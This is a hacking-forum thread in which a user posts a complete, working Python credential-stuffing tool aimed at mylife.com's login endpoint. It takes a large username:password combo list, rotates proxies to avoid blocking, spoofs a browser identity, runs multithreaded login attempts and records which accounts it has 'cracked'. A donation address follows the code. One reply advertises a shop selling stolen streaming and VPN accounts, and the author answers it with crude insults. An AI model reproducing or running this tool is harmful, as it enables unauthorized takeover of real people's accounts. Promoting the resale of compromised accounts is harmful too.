![]() |
|
mylife account cracker - Printable Version +- Sinisterly (https://sinister.li) +-- Forum: Hacking (https://sinister.li/Forum-Hacking) +--- Forum: Hacking Tools (https://sinister.li/Forum-Hacking-Tools) +--- Thread: mylife account cracker (/Thread-mylife-account-cracker) |
mylife account cracker - SickPsycko - 11-11-2019 I just threw a python script together back when I needed some stuff for personal OSINT. Enjoyyy. Spoiler:Code: import os
#Author: SickPsycko
import requests
import json
import re
import random
from bs4 import BeautifulSoup
import threading
import queue
from sys import *
import time
combolist = list()
proxylist = list()
cracked = list()
pending_task = 0
target_url = "https://www.mylife.com/site/login.proc"
def populate_lists(combon, proxyn):
combof = open(combon, 'r')
print("[+] Loading Combination File...")
for line in combof:
combolist.append(line)
combof.close()
print("[+] Loading Proxies...")
with open(proxyn, 'r') as pf:
p_obj = json.load(pf)
for proxy in p_obj:
proxy_parsed = str(proxy["host"]) + ":" + str(proxy["port"])
proxylist.append(proxy_parsed)
def auth_crack(in_queue, out_queue):
while True:
with requests.Session() as session:
try:
comboup = in_queue.get()
(user, passw, retryk) = comboup.split(":")
payload = { '_spring_security_remember_me':'1','username':user, 'password':passw, 'dispatch':'logon', 'fromURL':'$!request.getAttribute("fromURL")'}
if len(proxylist) < 10:
print("Not enough Proxies!")
os._exit(0)
proxyindex = random.randint(0, len(proxylist) - 1)
proxy = { "http": proxylist[proxyindex],"https" : proxylist[proxyindex]}
session.proxies = proxy
session.headers.update({"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0"})
session.get("https://www.mylife.com/site/login.pubview", proxies=proxy, timeout=10)
session.cookies
session.headers.update({"Origin":"https://www.mylife.com", "Referer": "https://www.mylife.com/site/login.pubview"})
resp = session.post(target_url, data=payload, allow_redirects=True, timeout=10)
failed_key_search = BeautifulSoup(resp.text, 'html5lib')
failed_element = failed_key_search.find("div", class_="errorList")
if "Invalid Username or Password" in failed_element.text:
failr = "fail"
out_queue.put(failr)
in_queue.task_done()
else:
success_up = "success:" + user + ":" + passw + ":null"
out_queue.put(success_up)
in_queue.task_done()
except(KeyboardInterrupt, SystemExit):
print("Exiting!")
if len(cracked) > 0:
for line in cracked:
print(line)
os._exit(0)
except (requests.exceptions.RequestException):
if proxyindex < len(proxylist):
proxylist.remove(proxylist[proxyindex])
retuserp = "connerr"+ ":" + user + ":" + passw + ":" + "retry"
out_queue.put(retuserp)
in_queue.task_done()
except Exception as exc:
print(type(exc), str(exc))
if proxyindex <= len(proxylist):
proxylist.remove(proxylist[proxyindex])
retuserp = "connerr"+ ":" + user + ":" + passw + ":" + "retry"
out_queue.put(retuserp)
in_queue.task_done()
if __name__ == '__main__':
acct_tried = 0
crackedc = 0
retryc = 0
combofile = "709k.txt"
proxyfile = "proxies.txt"
populate_lists(combofile, proxyfile)
print("[+] Cracking Accounts..")
comboprocl = queue.Queue()
crackedreturn = queue.Queue()
total = len(combolist)
#start workers
for i in range(10):
t = threading.Thread(target=auth_crack, args=(comboprocl, crackedreturn))
t.daemon = True
t.start()
#Pass data and crack account
for i in range(total):
comboprocl.put(combolist[i] + ":null")
erroread = ""
#get combo status and process success and Failure
#for i in range(total):
# succ_fail = crackedreturn.get()
# errorread = str(succ_fail)
# if "connerr" in errorread:
# pending_task = pending_task + 1
# (conerrn, user, passw, retryk) = errorread.split(":")
# userc = user + ":" + passw
# retryl.append("userc")
# elif "success" in errorread:
# (connerrn, user, passw, retryk) = erroread.split(":")
# success_combo = user + ":" + user
# if retryk is "null":
# cracked.append(success_combo)
while True:
numproxies = len(proxylist)
account_total = len(combolist)
stdout.write("[x]Attempts [%i/%i] [/]Proxies: [%i] [/]Retries: [%i] [/]Cracked: [%i] %s"%(acct_tried, account_total, numproxies, retryc, crackedc, "\r"))
stdout.flush()
try:
succ_fail = crackedreturn.get()
if "connerr" in succ_fail:
pending_task = pending_task + 1
retryc = retryc + 1
(conerrn, user, passw, retryk) = succ_fail.split(":")
userc = user + ":" + passw
comboprocl.put(userc + ":retry")
elif "success" in succ_fail:
(connerrn, user, passw, retryk) = succ_fail.split(":")
success_combo = user + ":" + passw
cracked.append(success_combo)
acct_tried = acct_tried + 1
elif "fail" in succ_fail:
acct_tried = acct_tried + 1
except queue.Empty:
break;
t.join()
for line in cracked:
print(line)
os._exit(0)15PiEmdNquZDJdkanYLkJLZPyVrow54kaG Donations RE: mylife account cracker - tommyxxx1 - 11-11-2019 https://shoppy.gg/user/Charlesxxx - ALL sold accounts start with a 1 month warranty - We are updating our shop daily with many accounts like league passes hulu spotify family nord vpn and many many more. IF you don't find what you are looking for on the selly shop just contact me i will get it for you -Kindly Contact me for any issues or replacement requests before rushing to post any bad review request ALL ISSUES WILL BE resolved RE: mylife account cracker - SickPsycko - 11-11-2019 Bruh better get yo spamming ass outta here before I put some pancake batter on that butt and spank that ass for you |